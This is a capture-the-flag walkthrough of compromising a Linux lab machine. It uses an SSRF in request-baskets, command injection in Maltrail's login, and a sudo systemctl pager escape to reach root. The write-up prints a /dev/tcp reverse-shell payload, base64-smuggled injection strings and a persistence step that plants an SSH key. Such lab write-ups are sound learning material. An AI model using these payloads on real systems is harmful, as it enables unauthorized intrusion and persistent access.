
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## Scanning


Port 80 seems to be filtered.

#### Accessing port 55555:




## Testing functionality – Web

I created a basket and received the following token:



### When accessing the basket:



It seems that it is possible to send requests to the server.

I kept exploring the website and saw the following:

Powered by request-baskets | Version: 1.2.1

### CVE-2023-27163


A quick Google search revealed the following:

### **SSRF**




I spent a lot of time to craft some requests before that. A lot. It Wasn't necessary.


I accessed the URL I received once again to see if there are any changes in the basket:




It has captured a GET request:




I clicked on the setting button in order to view the settings of the request:



It looks like we can forward the request. It will be interesting to test it using port 80 which seems to be filtered and the loopback address.




I went back to the basket after that and saw the following:



Note Maltrail v0.53.

I did a quick Google search once again and found this on github:




## **Vulnerability Explanation** In this specific case, the username parameter of the login page doesn't properly sanitize the input, allowing an attacker to inject OS commands The service uses the subprocess.check\_output() function to execute a shell command that logs the username provided by the user. If an attacker provides a specially crafted username, they can inject arbitrary shell commands that will be executed on the server In shell scripting, the semicolon; is used to separate multiple commands. So, when the attacker provides a username that includes a semicolon, followed by a shell command, the shell treats everything after the semicolon as a separate command

But it wasn't successful for me.


I found this resource while searching for information regarding this version:

https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/



I forwarded the request once again, only this time I changed the SSRF path to a login page to see if there is any response.

I refreshed the page after forwarding the URL:



Now, when I have more information, I believe I should craft a request.

This time, a reverse shell payload will be given, and it will be decoded into base64 as needed (also mentioned in the python script I found earlier).

# sh -i >& /dev/tcp/\$IP/\$PORT 0>&1

I decoded the payload:

### **Encode to Base64 format**

Simply enter your data then push the encode button.

	0.10.14.29/8888 0>&1
To encode binarie	es (like images, documents, etc.) use the file upload form a little further down on this page.  Destination character set.
LF (Unix)	
	separately (useful for when you have multiple entries).
	character wide chunks (useful for MIME).
Split lines into 76	character wide chunks (useful for MIME). e encoding (uses Base64URL format).
Split lines into 76	e encoding (uses Base64URL format).

And I crafted a request using the syntax from the resource I provided earlier:

I created a listener before sending it:

```
File Actions Edit View Help
  —(kali⊛kali)-[~]
$ nc | - lvp 8888
listening on [any] 8888 ...
10.129.144.186: inverse host lookup failed: Unknown host
connect to [10.10.14.29] from (UNKNOWN) [10.129.144.186] 33946
sh: 0: can't access tty; job control turned off
$ whoami
puma
```

And received a shell!

```
$ cd /home
$ ls
puma
$ cd puma
$ ls
user.txt
$ cat user.txt
5
                                93
```

### Privilege escalation

First thing I checked is if I can run a command using sudo:

```
latching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/bin\:/shin\:/snap/bin
User puma may run the following commands on sau:
   (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
```

Seems that puma can run the command '/usr/bin/systemctl status trail.service' using sudo.

I had problems running the command and get the output. I believe the shell is not stable enough.

I also tried to transfer the pspy64 to the target's machine using HTTP server and 'wget' but it wasn't successful either. It took too long.

The only thing left now is to try and stable the session with SSH that was found on the initial scan:

I generated a pair of keys:

```
-(kali⊛kali)-[~/.ssh]
—$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:BvCTG8P47Tj1Rybwo3k5peE2YDv4fd0bq2iihXgHAl4 kali@kali
The key's randomart image is:
 --[RSA 3072]--
    o. B o
     .0.S = +
      овов х
```

```
[kali⊕kali]-[~/.ssh]
    id_rsa.pub known_hosts known_hosts.old
```

I used 'wget' once again while hoping the file size does matter and copied it to authorized keys:

```
(kali⊕kali)-[~]
 -$ nc -lvp 8888
listening on [any] 8888 ...
10.129.144.186: inverse host lookup failed: Unknown host
connect to [10.10.14.29] from (UNKNOWN) [10.129.144.186] 37144
sh: 0: can't access tty; job control turned off
 mkdir .ssh
 wget 10.10.14.29:8000/id_rsa.pub && cp id_rsa.pub authorized_keys
 -2023-07-29 13:04:11-- http://10.10.14.29:8000/id_rsa.pub
Connecting to 10.10.14.29:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 563 [application/vnd.exstream-package]
Saving to: 'id_rsa.pub'
     0K
                                                                          100% 615K=0.001s
2023-07-29 13:04:11 (615 KB/s) - 'id_rsa.pub' saved [563/563]
```

I can login using a stable SSH session, without providing any other authentication. Note: leave the first session running if you having problem connecting SSH.

```
puma@sau: ~
File Actions Edit View Help
  -(kali⊕kali)-[~]
 -$ ssh puma@10.129.144.186
The authenticity of host '10.129.144.186 (10.129.144.186)' can't be established. ED25519 key fingerprint is SHA256:eUmHwwBfjAwU5g1joD4ALaRbYE5ZzLkBhJz7MQuBBLQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])?        yes
Warning: Permanently added '10.129.144.186' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-153-generic x86_64)
 * Documentation:
                      https://help.ubuntu.com
                      https://landscape.canonical.com
  Management:
  Support:
                      https://ubuntu.com/advantage
```

```
puma@sau: ~
File Actions Edit View Help
puma@sau:~$
```

Now let's try and execute the available sudo command for the user puma:

```
logger -p auth.info -t "maltrail[874]" "Failed password for ;`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjkvODg40CA
logger -p auth.info -t "maltrail[874]" "Failed password for ;`echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjkvODg40CA
Started Maltrail. Server of malicious traffic detection system.
```

```
TTY=unknown ; PWD=/home/puma ; USER=root ; COMMAND=list
TTY=unknown ; PWD=/home/puma ; USER=root ; COMMAND=/usr/bin/systemctl status trail.service
```

It seems to be related to a systemd command.

### CVE-2023-26604

I found the following vulnerability:

https://securityonline.info/cve-2023-26604-systemd-privilege-escalation-flaw-affects-linuxdistros/?fbclid=lwAR0ZK4lnjqeUCQEZMk1WK5FgHYrzsKgUXmfl1hq72uyiB9zB2htzCsiNiKQ

Systemd is an initialization system and service manager used in many modern Linux distributions. It's responsible for booting up the system, managing system processes, handling services, and various other tasks related to system initialization and management. One of the central concepts in systemd is the "systemd service."

A systemd service is a configuration unit that defines how a specific software or application should be started, stopped, and managed by the systemd system.

```
; COMMAND=list
; COMMAND=/usr/bin/systemctl status trail.service
```

I typed !sh and got a shell!

If an attacker manages to inject code or commands into an application or system that allows shell execution, they might use syntax like Ish to spawn a shell and gain unauthorized access.

```
l 29 11:11:03 sau systemd[1]: Started Maltrail. Server of malicious traffic detection system.
l 29 12:35:45 sau maltrail[1283]: Failed password for ; from 127.0.0.1 port 57322
l 29 12:36:01 sau maltrail[1286]: Failed password for None from 127.0.0.1 port 34784
l 29 12:39:52 sau maltrail[1306]: Failed password for None from 127.0.0.1 port 42012
l 29 12:40:45 sau sudo[1312]: puma : TTY=unknown ; PWD=/home/puma ; USER=root ; COMMAND=list
l 29 12:43:34 sau sudo[1314]: puma : TTY=unknown ; PWD=/home/puma ; USER=root ; COMMAND=/usr/bin/systemctl status trail.service
l 29 12:43:34 sau sudo[1314]: pam_unix(sudo:session): session opened for user root by (uid=0)
l 29 12:43:34 sau sudo[1314]: pam_unix(sudo:session): session closed for user root
l 29 13:11:47 sau maltrail[1553]: Failed password for ; from 127.0.0.1 port 55202
# whoami
root
# cd /root
# cat root.txt
```